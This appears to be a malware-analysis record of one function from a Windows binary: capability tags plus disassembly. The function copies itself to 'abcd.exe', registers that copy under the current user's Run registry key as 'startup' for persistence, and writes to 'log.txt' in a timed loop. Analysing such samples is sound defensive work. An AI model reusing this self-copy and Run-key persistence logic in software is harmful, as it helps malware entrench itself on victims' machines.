Function at 0x1400063b0
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x6b0
mov rax, qword [0x1400e0168]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
mov rdx, qword [str.ComtechAdmin]
lea rcx, [rsp + 0xb0]
call fcn.140008160
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x90]
call fcn.140005560
mov rcx, qword [rsp + 0x70]
mov rdx, rcx
mov rcx, rax
call fcn.14000bcd0
mov byte [rsp + 0x50], al
lea rcx, [rsp + 0x90]
call fcn.1400080d0
lea rcx, [rsp + 0xb0]
call fcn.1400080d0
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x140006442
xor eax, eax
jmp 0x14000672b
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x88], 0x208
lea rax, [rsp + 0x290]
mov rdi, rax
xor eax, eax
mov ecx, 0x410
rep stosb byte [rdi], al
lea rcx, [rsp + 0x138]
call fcn.140005900
lea r8, [0x1400ce960]
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0xd0]
call fcn.14000bd10
mov r8, qword [str.abcd.exe]
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14000bde0
lea rcx, [rsp + 0xd0]
call fcn.1400080d0
lea rcx, [rsp + 0x118]
call fcn.140007f90
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xf0]
call fcn.140005880
mov rcx, rax
call fcn.140007f90
xor r8d, r8d
mov rcx, qword [rsp + 0x78]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CopyFileW]
lea rcx, [rsp + 0xf0]
call fcn.1400080d0
lea r8, [0x1400ce964]
mov edx, 0x208
lea rcx, [rsp + 0x290]
call fcn.140048558
lea rcx, [rsp + 0x118]
call fcn.140007f90
mov r8, rax
mov edx, 0x208
lea rcx, [rsp + 0x290]
call fcn.1400485c0
lea r8, [0x1400ce968]
mov edx, 0x208
lea rcx, [rsp + 0x290]
call fcn.1400485c0
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
jne 0x140006622
lea rax, [rsp + 0x290]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
inc qword [rsp + 0x60]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
cmp word [rax + rcx*2], 0
jne 0x1400065c4
mov rax, qword [rsp + 0x60]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x290]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.startup
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x58], eax
xor eax, eax
test eax, eax
je 0x14000662d
call fcn.140006330
lea r8, str.log.txt
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x158]
call fcn.14000bd10
mov edx, 0x108
lea rcx, [rsp + 0x180]
call fcn.140005420
mov edx, 1
lea rcx, [rsp + 0x180]
call fcn.1400078e0
mov r9d, 0x40
mov r8d, 8
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x180]
call fcn.1400078a0
xor eax, eax
cmp eax, 1
je 0x1400066d1
call fcn.1400055e0
mov dword [rsp + 0x54], 0
jmp 0x1400066ae
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0x64
jge 0x1400066cf
lea rcx, [rsp + 0x180]
call fcn.140005a50
mov ecx, 0x64
call qword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x1400066a4
jmp 0x14000668e
lea rcx, [rsp + 0x180]
call fcn.1400079b0
lea rcx, [rsp + 0x180]
call fcn.1400077c0
mov dword [rsp + 0x6c], 0
lea rcx, [rsp + 0x180]
call fcn.140006750
lea rcx, [rsp + 0x158]
call fcn.1400080d0
lea rcx, [rsp + 0x118]
call fcn.1400080d0
lea rcx, [rsp + 0x138]
call fcn.1400080d0
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x6a0]
xor rcx, rsp
call fcn.140039d70
add rsp, 0x6b0
pop rdi
ret